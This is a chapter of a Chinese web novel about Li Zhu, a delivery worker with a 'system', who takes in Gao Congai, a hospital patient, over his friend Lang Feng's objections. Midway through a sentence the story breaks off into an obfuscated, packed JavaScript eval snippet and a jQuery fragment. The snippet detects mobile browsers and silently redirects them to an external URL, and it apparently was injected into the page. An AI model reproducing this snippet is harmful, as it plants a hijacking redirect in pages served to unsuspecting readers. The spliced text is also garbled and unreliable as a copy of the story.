李株看了眼他放在地上的脚,渗出的血把破洞的地方染成暗红。 他无法想象一个人得有多执拗,才会硬生生用双脚走四个小时,去找一个几面之缘的陌生人。 李株小声吐槽:“哥们儿,你确实不正常。” 浅眠的高从霭醒了,闭着眼睛说:“半个秘密。” 李株:“……” 钥匙怼进锁孔,郎峰打开防盗门进来。 见客厅亮着灯,他兴奋地举起手中的袋子高喊:“哥,我买了菜回来涮火锅吃!” 高从俞第三次醒来:“半个也没有了。” 到手的秘密没了,李株好崩溃。 郎峰也崩溃,家里有外人,还是个穿条纹睡衣的野男人! 旧的去了,新的来了。 【负向值+100,我哥的病没好呜呜呜呜呜】 11. 大哥,收手吧 李株把好兄弟拽进房间,两手扯着他的衣领,爸气十足地质问:“你是不是不爱我了。” “你是我唯一的亲人,为你我能两肋插刀,连死都愿意。”郎峰竖起手指要发誓。 意识到不太对劲儿,他收起手指,补充道:“好兄弟那种。” 保险起见,李株让系统给数据。 【对象:郎峰;负向总值:1180】 【对象:郎峰;正向总值:0(对原主的正向情绪值无法结算到宿主身上)】 太好了,是爱恨交织。 不是纯恨。 李株松开手,抚平被自己抓皱的衣服:“他叫高从霭,是高从俞的弟弟。” 晚上暴雨回不了家,借住在姓高的家里勉强说得通,怎么还把人弟弟给领回来了。 这是普通送餐小哥和客户的关系吗? 而且他们房间这么小,领人回来也没经过其他合租人同意。 “不行,留下来怎么睡。”郎峰态度坚决,“快把人弄走。” 李株打开门偷看,高从霭坐在沙发上,还在睡。 他阖上门,抱着胳膊沉思片刻,说:“我给高先生打个电话。” 咚、咚、咚—— 背靠着的门板随着敲击震动,有规律的敲门声重重落在两人耳膜上。 李株探头出去,高从霭不知何时直挺挺地站到了外面。 “不准打电话。”他说,“我告诉你一个高从俞的秘密。” 又是这招! “你偷听我们说话。”李株不高兴。 “你们声音太大了。”高从霭淡漠的目光从郎峰脸上晃过,回到李株这里,“怎么样,要交换吗?” 李株不想上钩,很是理直气壮地说:“你先说,我再考虑要不要打电话。” “哥,你这窥探人隐私的毛病怎么还不改!”郎峰烦躁得直抓头发。 “你不懂。”李株不能说太多,不想把他卷进未知的危险。 “是是是,我不懂!你懂完了行了吧!”郎峰气哼哼的说完,拔腿就跑。 高从霭看着他跑出去的背影,若有所思地对李株说:“原来你和其他人是这样相处的。” 抓到青年偷窥那天,他像只阴暗的老鼠趴在门缝上,触及到一点血腥就吓到逃跑,胆子很小。 晚餐后他借着来送水,自以为隐秘地用那双灵动的眼睛,往房间里瞟。 夜里也不睡觉,听到他的动静就鬼鬼祟祟地开门出来,一路跟踪。 说蠢吧,这人知道掩藏目的,顺势和高从俞接触。 说不蠢吧,他的演技不稳定,时而拙劣得可笑。 “别杵在这里,赶紧说。”李株挺直腰板,希望自己看上去更有气势。 高从霭看着他雄赳赳气昂昂的表情,笑了:“你现在不像老鼠,像只外强中干的公鸡。” 比他曾经交过的“朋友”有趣多了。 李株改为两手叉腰:“你才像老鼠,还有,我是不是公鸡不好说,你肯定是斗鸡,嘴巴贩剑见人就啄。” “斗鸡不啄人,只啄鸡,你说是就是吧。”高从霭慢吞吞说完,视线往下,看到一双愤怒攥紧的拳头。 仿佛一拳打在棉花上,对方不疼不痒,李株气得肺要炸了。 实锤,高从霭不是来借宿的,是来折磨他的。 李株努力平复:“别废话,说正事。” “哦。”高从霭拉来一张椅子坐下,“知道为什么王经理会让你去送点心吗?” “还能为什么,高从俞指使的呗。” “你只说对了一小部分。”高从霭低头扯了扯病号服,跳了个话题,“我想换身衣服。” “你把话说清楚。” “自己想。”高从俞抬手开始解扣子。 李株:“话说一半,天打雷劈。” “那就劈,反正我也不想活。”高从霭的情绪变化之快。 平和在一瞬间消失,变成让人压抑的自我厌弃。 李株:“……”惹不起惹不起。 厨房摆着好几把菜刀呢,李株怕他发疯来个抹脖子,清嗓子咳嗽一声:“我收回刚才的话。” 高从霭不解扣子了,垂着眼说:“那你跟我道歉。” 语气跟那天让他喂饭一样理直气壮,李株好想打人:“对不起。” 过了会儿,高从霭高高在上的“嗯”了一声,强调:“不准给他打电话。” “我这里真的住不下。”李株指着自己那张一米二的小床,“你也看到了,条件有限。” 高从霭:“我不嫌弃。” 狗皮膏药成精吧。 “你到底为什么要跑出来,就算不想住院,也可以回家住。”三层大别墅呢,不比他这个蜗居舒服? “家里太吵了……”高从霭的声音很轻,怕惊扰了什么,“越来越吵,吵得我头疼。” 李株体验过高家别墅有多安静,他不信高从霭的话,又实在拿他没办法。 “你在房间休息一下,我去做饭。” 高从霭又扯起衣服给李株看:“我想换衣服。” 李株的额角狠狠一跳,粗声粗气地说:“等着。” 原主的衣服旧得不能再旧,他挑出一件衣领磨毛的T恤扔给高从霭,又埋头翻出一条篮球裤。 “凑合穿吧。” 高从霭举起衣服和裤子闻了下,不满意:“跟你身上的味道不一样。” 压箱底的衣服泛着霉味,不好闻。 “那就继续穿你的病号服。”短暂的交锋过后,李株认识到自己的嘴斗不过高从霭,走为上策。 拉开门逃似的往外跑。 郎峰正用力戳着黏在一起的冷冻羊肉卷。 余光瞥见李株进来,他皱眉问:“哥,你们到底啥情况?” “没情况,跟他不熟。”李株不知道该如何解释目前的处境,“总之你记住,别惹他。” 郎峰只关心他哥的性向:“他不会是你的那个谁吧?” 新男朋友四个字黏嘴,他说不出口。 李株:“放心,不是,不可能。” “那他咋穿着睡衣在家里……” “不是睡衣,是病号服。”李株回忆开门看到高从霭的画面。 肩够宽,个子够高,脸也足够吸睛。 如果不是知道高从霭在住院,李株也会以为他是从T台走下来的睡衣模特。 只要不是男朋友,其他都好说,郎峰不高兴的脸说变就变:“哥,你账号还没解封,趁着三天休息,明天我跟站长请一天,咱们回孤儿院吧。” 原主每隔半个月要回趟孤儿院,算时间,距离上次回去有16天了。 李株:“好。” 白天当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276056|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牛马太累,两人没心情搞正宗火锅吃。等锅底烧开,把食材扔进去大乱炖。 不锈钢盆上桌,李株去房间问高从霭吃不吃。 高从霭跟着他来到客厅,不等其余两人上桌,先坐到位置上。 “随便吃,别客气。”郎峰大喇喇的招呼,给高从霭递筷子。 “不用。”高从霭没伸手,视线定格在满是红油的盆上。 不吃干嘛上桌?郎峰觉得他奇怪,跟李株一起大快朵颐地吃起来。 李株热爱吃饭,吃什么都很香。夹出一块肥牛,卷上一小坨米饭,整个塞进嘴里,发出享受的“嗯”的一声。 高从霭空洞的眼神看过去,青年两腮微鼓,沾了油的嘴唇红红的。 他的喉结动了一下,空荡荡的肠胃生出些许食欲。 懒得动弹,他对李株说:“我想吃,喂我。” 李株差点没噎死,垂着胸口好不容易咽下去。郎峰帮他哥端来一杯水,看高从霭的眼神像在看狐狸精。 “你自己没有手吗?!”郎峰骂道。 高从霭仿佛没听见,固执地盯着李株。 李株顶着来自两方的目光压力,喂也不是,不喂也不是。 他将筷子一扔:“都看着我干什么,不吃就下桌。” 郎峰缩起脖子,委屈巴巴的。 高从霭的嘴唇抿成一条线,目光不变。 李株在桌下踹了他一脚,让他别再盯着自己。 这一脚踢得很用力,高从霭被踢疼了,视线落向桌下,看着自己的小腿出神。 实质的疼痛代表实质性的触碰。 自出生起他就不受欢迎,除了死去的母亲,没有人像青年这样碰过他。 所有人都认定他是疯子,他们排斥他,远离他,即便靠近也带着目的,眼睛里藏着无法完全掩饰的厌恶。 他曾经看到一个新交的“朋友”,在被他无意碰了下手背后,去洗手池反复搓洗。 高从霭的嘴唇动了动:“能再踢我一下吗?” 郎峰目瞪口呆,手中的筷子“啪嗒”砸到桌上。 经历过大风大浪的李株没被震住,他咀嚼完嘴里的豆芽,大方地满足他的需求。 踹完人,他指着一旁的沙发:“不吃就去沙发上坐着,要不就回房间,别整些幺蛾子影响我干饭。” 高从霭弯腰,低下头注视小腿外侧。 真实的疼痛黏在皮肤上,带着某种温度往深处蔓延,而李株脸上除了生气,没有厌恶。 高从霭满足地站起来:“你们慢慢吃。” 郎峰彻底吃不下去了,扒着李株的胳膊问:“他是不是脑子有问题?” 高从霭跟人斗嘴的时候口齿伶俐,逻辑满分,不像脑子有问题。 他与人接触的方式、态度,更像没有经过正常约束教育的随心所欲。 李株没有向郎峰暴露高从霭有心理疾病的事,推开那颗脑袋:“别乱说,赶紧吃。” 高从霭听觉敏锐,清晰捕捉到两人的交谈。他一条腿伸在外面,被踢过两次的位置发红。 李株斜扫一眼,心虚,太娇贵了吧。 高从霭保持向前倾身姿势不变,渐渐的,那处皮肤开始肿胀、发烫。 他朝李株看去,视线变得热忱,指尖摸了摸肿胀边缘,“颜色变深了。” 像一个实质性的标记。